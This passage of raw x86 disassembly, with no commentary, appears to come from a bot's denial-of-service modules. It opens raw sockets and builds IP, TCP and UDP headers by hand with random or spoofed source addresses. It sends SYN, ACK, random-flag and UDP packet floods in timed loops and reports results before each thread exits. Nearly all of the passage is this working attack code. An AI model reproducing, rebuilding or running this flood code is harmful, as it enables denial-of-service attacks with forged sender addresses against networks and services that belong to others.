lea eax, [ebp+var_110]
push eax
call sub_41B3F0
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4E08DC
push eax
call sub_412FE3
push eax
lea eax, [ebp+var_394]
push offset dword_44CD5C
push eax
call sub_41B740
xor esi, esi
add esp, 14h
cmp [ebp+var_8], esi
jnz short loc_412FC4
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_408EB9
add esp, 14h
loc_412FC4: ; CODE XREF: sub_412F42+60j
lea eax, [ebp+var_394]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_412F42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412FE3 proc near ; CODE XREF: sub_412F42+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D910
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4E08B4
push [ebp+var_4]
call dword_4E0920
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4E091C
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4E0880
mov esi, 200h
push esi
call sub_418ED0
mov edi, dword_4F1364
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4E08A0
mov [ebp+var_96], ax
loc_4130FE: ; CODE XREF: sub_412FE3+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_4131E4
call sub_41B850
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41B850
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41B850
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41B850
mov [ebp+var_20], ax
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4E08A0
push esi
mov [ebp+var_1E], ax
call dword_4E08A0
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41B850
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40A072
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call near ptr sub_41C8D0
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4E0900
jmp loc_4130FE
; ---------------------------------------------------------------------------
loc_4131E4: ; CODE XREF: sub_412FE3+12Cj
push [ebp+var_8]
call sub_419940
pop ecx
push [ebp+var_4]
call dword_4E0934
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_412FE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131FE proc near ; DATA XREF: sub_401CC1+4BA1o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_4F1364
call edi ; GetTickCount
push eax
call sub_41B840
pop ecx
push 0FFh
push 3
push 2
call dword_4E091C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4132C7
call dword_4E083C
push eax
lea eax, [ebp+var_440]
push offset unk_44CD7C
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4132A7
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_408EB9
add esp, 14h
loc_4132A7: ; CODE XREF: sub_4131FE+84j
lea eax, [ebp+var_440]
push eax
call sub_41458A
push [ebp+var_BC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_4132C7: ; CODE XREF: sub_4131FE+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4E0880
cmp eax, 0FFFFFFFFh
jnz short loc_413345
call dword_4E083C
push eax
lea eax, [ebp+var_440]
push offset unk_44CDB0
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_413325
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_408EB9
add esp, 14h
loc_413325: ; CODE XREF: sub_4131FE+102j
lea eax, [ebp+var_440]
push eax
call sub_41458A
push [ebp+var_BC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_413345: ; CODE XREF: sub_4131FE+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4E08DC
cmp eax, 0FFFFFFFFh
jnz short loc_4133B5
lea eax, [ebp+var_440]
push offset unk_44CDE8
push eax
call sub_41B740
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_413395
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_408EB9
add esp, 14h
loc_413395: ; CODE XREF: sub_4131FE+172j
lea eax, [ebp+var_440]
push eax
call sub_41458A
push [ebp+var_BC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_4133B5: ; CODE XREF: sub_4131FE+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4E08A0
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4E08DC
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_4133ED: ; CODE XREF: sub_4131FE+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_4136B1
push 28h
mov [ebp+var_2C], 45h
call dword_4E08A0
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_413460
call sub_41B850
mov esi, eax
shl esi, 8
call sub_41B850
add esi, eax
shl esi, 8
call sub_41B850
add esi, eax
shl esi, 8
call sub_41B850
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_413476
; ---------------------------------------------------------------------------
loc_413460: ; CODE XREF: sub_4131FE+233j
push [ebp+var_240]
call sub_40A019
pop ecx
push eax
call dword_4E08DC
mov [ebp+var_20], eax
loc_413476: ; CODE XREF: sub_4131FE+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_413494
call sub_41B850
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_41349A
; ---------------------------------------------------------------------------
loc_413494: ; CODE XREF: sub_4131FE+284j
push [ebp+var_B8]
loc_41349A: ; CODE XREF: sub_4131FE+294j
call dword_4E08A0
mov [ebp+var_16], ax
call sub_41B850
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4E08A0
push 12345678h
mov [ebp+var_18], ax
call dword_4E089C
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn_0 ; "syn"
push eax
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_4134EA
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_413546
; ---------------------------------------------------------------------------
loc_4134EA: ; CODE XREF: sub_4131FE+2E1j
lea eax, [ebp+var_1BC]
push offset aAck_0 ; "ack"
push eax
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_41350A
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_413546
; ---------------------------------------------------------------------------
loc_41350A: ; CODE XREF: sub_4131FE+301j
lea eax, [ebp+var_1BC]
push offset aRandom_2 ; "random"
push eax
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_413546
call sub_41B850
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41B850
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_413546: ; CODE XREF: sub_4131FE+2EAj
; sub_4131FE+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4E08A0
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4E08A0
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A072
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call near ptr sub_41C8D0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41B190
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A072
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C8D0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4E0900
cmp eax, 0FFFFFFFFh
jz short loc_413633
inc [ebp+arg_0]
jmp loc_4133ED
; ---------------------------------------------------------------------------
loc_413633: ; CODE XREF: sub_4131FE+42Bj
push [ebp+var_4]
call dword_4E0934
call dword_4E083C
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_44CE18
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41B910
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_413691
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_408EB9
add esp, 14h
loc_413691: ; CODE XREF: sub_4131FE+46Ej
lea eax, [ebp+var_440]
push eax
call sub_41458A
push [ebp+var_BC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_4136B1: ; CODE XREF: sub_4131FE+203j
push [ebp+var_4]
call dword_4E0934
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_44CE68
push eax
call sub_41B740
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_413722
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_408EB9
add esp, 14h
loc_413722: ; CODE XREF: sub_4131FE+4FFj
lea eax, [ebp+var_440]
push eax
call sub_41458A
push [ebp+var_BC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
sub_4131FE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413742 proc near ; CODE XREF: sub_413849+198p
; sub_413849+1A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_41376E
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_413760: ; CODE XREF: sub_413742+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_413760
pop edi
cmp eax, 1
loc_41376E: ; CODE XREF: sub_413742+12j
jnz short loc_41377B
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_41377B: ; CODE XREF: sub_413742:loc_41376Ej
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_413742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413794 proc near ; DATA XREF: sub_401CC1+63ABo
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41B3F0
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4E08DC
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_413849
push eax
lea eax, [ebp+var_394]
push offset unk_44CEB8
push eax
call sub_41B740
xor esi, esi
add esp, 1A8h
cmp [ebp+var_8], esi
jnz short loc_41382C
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_408EB9
add esp, 14h
loc_41382C: ; CODE XREF: sub_413794+76j
lea eax, [ebp+var_394]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
sub_413794 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413849 proc near ; CODE XREF: sub_413794+54p
var_CC = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, dword_4F1364
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4E091C
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41B840
pop ecx
mov edi, 578h
push edi
push 9
push 1
call sub_4165B5
pop ecx
pop ecx
push eax
lea eax, [ebp+var_28]
push eax
call sub_41B190
add esp, 0Ch
mov esi, 5A0h
loc_4138A3: ; CODE XREF: sub_413849+233j
call dword_4F1364 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_413A81
cmp dword_4E4098, ebx
jnz short loc_413920
push 10h
pop eax
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_68]
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4E0848
push 0FFh
push 1
call sub_4165B5
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+var_CC]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax
call sub_41B740
add esp, 20h
jmp short loc_413933
; ---------------------------------------------------------------------------
loc_413920: ; CODE XREF: sub_413849+7Ej
lea eax, [ebp+var_CC]
push offset dword_4E3A78
push eax
call sub_41C300
pop ecx
pop ecx
loc_413933: ; CODE XREF: sub_413849+D5j
lea eax, [ebp+var_CC]
push eax
call dword_4E08DC
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4E08A0
mov [ebp+var_52], ax
call sub_41B850
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call sub_41B850
mov [ebp+var_40], ax
call sub_41B850
mov [ebp+var_3E], ax
call sub_41B850
mov [ebp+var_3C], eax
call sub_41B850
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_413742
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_413742
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call dword_4F14FC ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A0]
push 14h
push eax
lea eax, [ebp+var_40]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_8C]
push edi
push eax
lea eax, [ebp+var_28]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_413742
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4E0900
inc [ebp+var_4]
jmp loc_4138A3
; ---------------------------------------------------------------------------
loc_413A81: ; CODE XREF: sub_413849+72j
push [ebp+var_8]
call dword_4E0934
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_413849 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A92 proc near ; DATA XREF: sub_401CC1+4480o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_413B08
push eax
lea eax, [ebp+var_414]
push offset unk_44CEF8
push eax
call sub_41B740
add esp, 220h
lea eax, [ebp+var_414]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push 0
call dword_4F1388 ; ExitThread
sub_413A92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B08 proc near ; CODE XREF: sub_413A92+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4E091C
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_413B46
lea eax, [ebp+var_254]
push offset unk_44CF38
push eax
call sub_41B740
pop ecx
xor edi, edi
pop ecx
jmp loc_413E0C
; ---------------------------------------------------------------------------
loc_413B46: ; CODE XREF: sub_413B08+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4E0880
cmp eax, 0FFFFFFFFh
jnz short loc_413B72
call dword_4E083C
push eax
push offset unk_44CF64
jmp short loc_413B8D
; ---------------------------------------------------------------------------
loc_413B72: ; CODE XREF: sub_413B08+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4E08DC
cmp eax, 0FFFFFFFFh
jnz short loc_413BA1
call dword_4E083C
push eax
push offset unk_44CFB4
loc_413B8D: ; CODE XREF: sub_413B08+68j
lea eax, [ebp+var_254]
push eax
call sub_41B740
add esp, 0Ch
jmp loc_413E0C
; ---------------------------------------------------------------------------
loc_413BA1: ; CODE XREF: sub_413B08+77j
push edi
mov [ebp+var_24], 2
call dword_4E08A0
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_4F14F8 ; inet_addr
mov esi, dword_4F1364
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44CFF8
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_413C0A
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_413C0A: ; CODE XREF: sub_413B08+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41B3F0
cmp esi, eax
pop ecx
ja loc_413DC3
mov esi, 41Ch
jmp short loc_413C3E
; ---------------------------------------------------------------------------
loc_413C39: ; CODE XREF: sub_413B08+2B5j
mov ebx, 0FFh
loc_413C3E: ; CODE XREF: sub_413B08+12Fj
cmp dword_4E4098, edi
jnz short loc_413C96
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4E0848
push ebx
push 1
call sub_4165B5
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D_2 ; "%d.%d.%d.%d"
push eax
call sub_41B740
add esp, 20h
jmp short loc_413CA6
; ---------------------------------------------------------------------------
loc_413C96: ; CODE XREF: sub_413B08+13Cj
lea eax, [ebp+var_54]
push offset dword_4E3A78
push eax
call sub_41C300
pop ecx
pop ecx
loc_413CA6: ; CODE XREF: sub_413B08+18Cj
push esi
mov byte_4E3C78, 45h
call dword_4E08A0
mov word_4E3C7A, ax
lea eax, [ebp+var_54]
push eax
mov word_4E3C7C, 1
mov word_4E3C7E, di
mov byte_4E3C80, 80h
mov byte_4E3C81, 11h
mov word_4E3C82, di
call dword_4E08DC
mov dword_4E3C84, eax
mov eax, [ebp+var_20]
mov dword_4E3C88, eax
lea eax, [ebp+arg_84]
push eax
mov word_4E3C92, di
call sub_41B3F0
test eax, eax
pop ecx
jnz short loc_413D1E
call sub_41B850
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_413D2C
; ---------------------------------------------------------------------------
loc_413D1E: ; CODE XREF: sub_413B08+204j
lea eax, [ebp+arg_84]
push eax
call sub_41B3F0
pop ecx
push eax
loc_413D2C: ; CODE XREF: sub_413B08+214j
call dword_4E08A0
mov word_4E3C8E, ax
call sub_41B850
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4E3C8C, dx
call dword_4E08A0
push 400h
mov word_4E3C90, ax
call sub_41B850
cdq
idiv ebx
push edx
push offset dword_4E3C94
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4E3C78
push [ebp+var_C]
call dword_4E0900
cmp eax, 0FFFFFFFFh
